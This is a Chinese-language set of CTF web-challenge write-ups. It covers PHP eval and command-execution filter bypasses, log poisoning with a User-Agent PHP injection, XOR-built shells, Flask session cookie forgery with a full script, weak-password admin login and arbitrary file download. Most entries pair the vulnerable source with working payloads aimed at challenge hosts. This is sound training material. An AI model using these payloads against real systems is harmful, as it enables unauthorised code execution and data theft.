[SWPUCTF 2022 新生赛]webdog1__start
level1:
打开环境后什么也,没有,查看源码,看到第一关是MD5值,要get传参web,然后web的值的MD5和它原来值相等,0e开头的字符在php中都是0,传入一个0e开头的值即可
payload:?web=0e215962017
level2:
打开·打开页面后什么也没有,抓包发现hint,访问f14g.php
上面说不相信flag确实在这里,,查看源代码也没有什么
继续抓包,发现新的hint
level3
访问新的页面,得到一串代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get); //过滤了flag和空格
if (strlen($get)>18){ //限制传参的字符长度最大为18
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?
可以转接一下参数,就可以绕过长度限制
payload:?get=eval($_GET[1]);&1=system('tac f*');
得到上面说flag包含在/flag文件里面,得到flag
[MoeCTF 2022]what are y0u uploading?
打开环境,是文件上传,先随便上传一个文件看看,上面说只允许上传jpe,gif,png
那就不考虑.htaccess类型的,因为虽然可以传图片,但是不可以上传配置文件,因此图片马是不会被解析的,尝试修改文件类型(MIME),上传成功,根据题目提示,修改
得到flag
[GKCTF 2021]easycms
打开环境后是一个网站,题目的提示说是真的cms,后台扫描一下,有一个admin.php
弱口令,admin和12345或者damin/admin和demo/demo
登录进去以后就是后台的admin权限
然后里面有一个设计主题,也就是你可以在里面设计自己网站,右上角有自己可以导出的按钮
随便填完以后就可以导出文件,复制文件链接,然后可以看到后面有一串base的字符,解码后就就能到文件下载的路径,然后可以看到这个路径是从/var一直往下面的
base64解码
我们既然得到了下载文件的完整链接,那是不是意味着我们可以下载任意我们知道名字的文件,尝试一下,将原本的文件路径改为/flag,即node7.anna.nssctf.cn:23981/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=,然后访问,下载了一个文件,将它的后缀改为txt,可以得到文件内容
小结一下:level1:这道题我们先是发现了有后台网页;即index.php,level2:然后通过弱口令登录,拿到了后台的admin权限;level3:然后又在设计中发现他的主题下载的时候会有完整的文件下载路径;level4:然后猜测有可能存在任意文件读取,然后得到的我们想要的文件。
总得来说,这个cms的后台登录是弱口令,还有任意文件下载的漏洞。
[SWPUCTF 2022 新生赛]funny_php
打开就是,直接来吧
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
level1:要求我们get传参num,要求这个字符串的长度<3&>999999999,前面的意思是只有三个字符,但是它由于科学计数法实际上这个数是9*10的9次方,绕过
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
level2: 上面要求get传参str。内容为NSSCTF,但是这里的正则匹配又会将NSSCTF过滤掉,换为空,可以双写绕过,即str=NSSNSSCTFCTF,绕过,无所谓顺序,但是不能是NSSCTFNSSCTF,要不在一起才可以,是完整的NSSCTF两遍就可以
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
level3: 要求是md5_1和md5_2的字符不同,但是MD5值相等,找两个就可以有很多
payload:
md5_1=s878926199a&md5_2=s155964671a
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
[MoeCTF 2021]2048
打开后是个游戏,先乱玩一下,方便找关键信息
源代码找一下
改大一点 ,有两种方法,第一种,修改分数为>50000的值,然后玩游戏让它自己结束,第二种,直接传参,让分数大于50000,。
[NSSRound#1 Basic]basic_check
打开环境个源代码什么也没有,扫描一下,dirsearch扫不出来,用nikto扫描可以知道可以用PUT协议
上传成功,访问
[LitCTF 2023]Flag点击就送!
题目描述
大型Flag赠送活动开始啦,不过只有管理员才能拿到
打开环境是一个验证框,问我们的名字,祟拜输入一个名字
告诉我们只有管理员才能拿flag
可以在cookie离开看到有session
解密一下是: 上面说name=1
可以伪造一下
脚本如下:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
使用:中间的密钥不知道,是猜的,其他题目可以看题目处理
解密:python flask_session_cookie_manager3.py decode -s "LitCTF" -c "eyJuYW1lIjoiMSJ9.Zh966A.NxRd8ILBNVdX5EZWUDtMS0J7vrQ"
加密:python flask_session_cookie_manager3.py encode -s "LitCTF" -t '{"name":"admin"}'
hackbar传一下 ,将原来的session改为我们想要的name改为admin即可
[HNCTF 2022 WEEK2]easy_include
打开环境,上面过滤了很多字符
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
可以看到服务器使用的是ngnix,先尝试一下看看有没有日志包含的漏洞
这个有个默认的日志路径是?file=/var/log/nginx/access.log,访问一下
然后抓包进行UA头注入 <?php system('ls /');?>
看到有一个类似flag的,抓一下<?php system('cat /ffflllaaaggg');?> ,得到flag
[SWPUCTF 2022 新生赛]funny_web
打开页面是一个登录框,上面说登录名是实验室名,不知道是啥,看一眼源码,有一个php页面
上面是主页的源码,
社工的题,不深究了
账号NSS
密码2122693401,intval()函数,后面加小数点和字母就可以
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}
[NSSRound#8 Basic]MyDoor
打开环境,可以看到url栏上面有一个file=,尝试读取主页面
伪协议读取源码
解码一下,上面的代码的逻辑是get传参N_S.S会执行eval函数,get传参file,要求url的头是/index.php?file=,正则匹配,给出允许的文件名
<?php
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
也就是说,要同时满足两个要求,一个是开头的文件名是file,然后就是要用N_S.S来执行命令,但是在rul传参的时候,要1修改一下变为N[S.S,不然后面的.就会变成_,payload:/index.php?file=1&N[S.S=system(‘env’);,已经看了目录了,没有东西,一般这种情况下就是在环境变量里面了
[HUBUCTF 2022 新生赛]HowToGetShell(异或)
看一眼源码,
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
有两种方法,但是都是异或
第一种就是直接用异或拼接命令函数的字母和后面的():
脚本:
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = str(input("请输入进行异或构造的字符串:"))
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1,tmp2)
payload:mess=$_="0302181"^"@[@[_^^";$_(); //在环境变量或者是根目录下有flag
可以看看原理:从一道CTF题目谈PHP中的命令执行-CSDN博客
第二种就是先用异或传一个get的木马再用get正常的rce
看链接:刷题笔记[HUBUCTF 2022 新生赛]web_[hubuctf 2022 新生赛]howtogetshell-CSDN博客
[MoeCTF 2022]ezphp(变量覆盖)
看看源码,这段代码的意思是要get和post都传参flag,但是两个flag都不能等于flag,但是可以只传其中的一个,保证其中含有flag,且
<?php
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //假如传了,两个中都要有flag
exit($giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //要求;两个的值都不为flag
exit($getout);
}
foreach ($_POST as $key => $value) { //创建$flag=它的值
$$key = $value;
}
foreach ($_GET as $key => $value) { //如果存在$flag=xxx,创建$xxx=它的值,前提是$xxx=存在
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
先学习一下这个控制结构
$array = [
'a' => 1,
'b' => 2,
'c' => 3
];
foreach ($array as $key => $value) {
echo "Key: $key, Value: $value" . PHP_EOL;
}
输出:
Key: a, Value: 1
Key: b, Value: 2
Key: c, Value: 3
两种方法:
第一种是:顺序不变,必须要先用另一个变量把flag的值储存起来,否则flag会被覆盖
payload:
?a=flag&flag=a
第二种:超全局变量,由于先判断POST 再判断GET。用POST_GET更改GET,使第二个语句不生效。
GET: ?flag=a
POST: _GET=b //(不是flag就可以)
[MoeCTF 2021]Web安全入门指北—GET
最简单的get传参
[NISACTF 2022]middlerce (正则匹配回溯绕过)
看看代码
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter']; //检查 $_REQUEST 数组中是否存在键 letter,如果存在,将其值赋给变量 $txw4ever。
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔"); //正则表达式中的 \w 匹配字母、数字和下划线,其他字符如 ^、*、(、~、`、?、/、 、|、&、!、<、>、{、\x09(制表符)、\x0a(换行符)、[ 都被匹配。
}
else{
$command = json_decode($txw4ever,true)['cmd']; //json解码变量里面的内容
checkdata($command); //检查里面的数据
@eval($command); //执行里面的内容
}
}
else{
highlight_file(__FILE__);
}
?>
这里有脚本
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28790/", data={"letter":payload})
print(res.text)
[UUCTF 2022 新生赛]ez_upload
文件上传的题目,先随便上传一个看看,php类型不被允许,图片类型可以,再加上apach在解析文件时,如果遇见非法的后缀,就会往左看,直到遇见合法的文件名,如下
[FSCTF 2023]细狗2.0
题目描述
行就是行,不行就是不行。RCE全不做是几个意思啊QAQ
打开后是一个输入框,还是rce,先试试ls
ls都不行,前面加个;闭合一下 ,给了两个,但是不像
看看根目录,应该是空格绕过,$IFS$9
貌似是flag,抓一下payload:tac$IFS$9/f*
得到flag
[SWPUCTF 2023 秋季新生赛]RCE-PLUS(无回显rce)
看看源码,过滤了很多,没事,关键的没有过滤,无回显就重写入
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
?cmd=ls | tee 1.txt
?cmd=ls / | tee 1.txt
?cmd=tac /f* | tee 1.txt
[MoeCTF 2021]Do you know HTTP
才来就叫我们更改请求方式,来吧
将get传参改为HS
修改xff
修改UA头
[CISCN 2019初赛]Love Math
看看源码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
暂缓
[FSCTF 2023]EZ_eval
看看源码,其他的是正常的,主要是它有一个?>会截断我的命令
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word); //将?替换为空
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
可以用php段标签绕过(有版本限制7.0以下),这里可以用script标签
word=<script%09language="php">passthru("ta\c%09/f*");
[BJDCTF 2020]ZJCTF,不过如此
看看源码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ //规定包含的内容
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php //读取的文件
}
else{
highlight_file(__FILE__);
}
?>
php伪协议:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
解码得到
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")', //正则匹配将内容转换为小写
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n"; //输出转换后的内容
}
function getFlag(){
@eval($_GET['cmd']);
}
两个要点,一个是要用到下面执行命令的函数,另一个是执行的命令
第一个:php会将传入的非法的参数名转成下滑线,正则匹配会失效,当非法字符为首字母时,只有点号会被替换成下划线,F是大写,需要绕过,然后就是那个利用点
\S*=${getflag()}
接上命令 ,
/next.php?\S*=${getflag()}&cmd=system('ls /');
但是flag文件夹是空的
在环境变量里面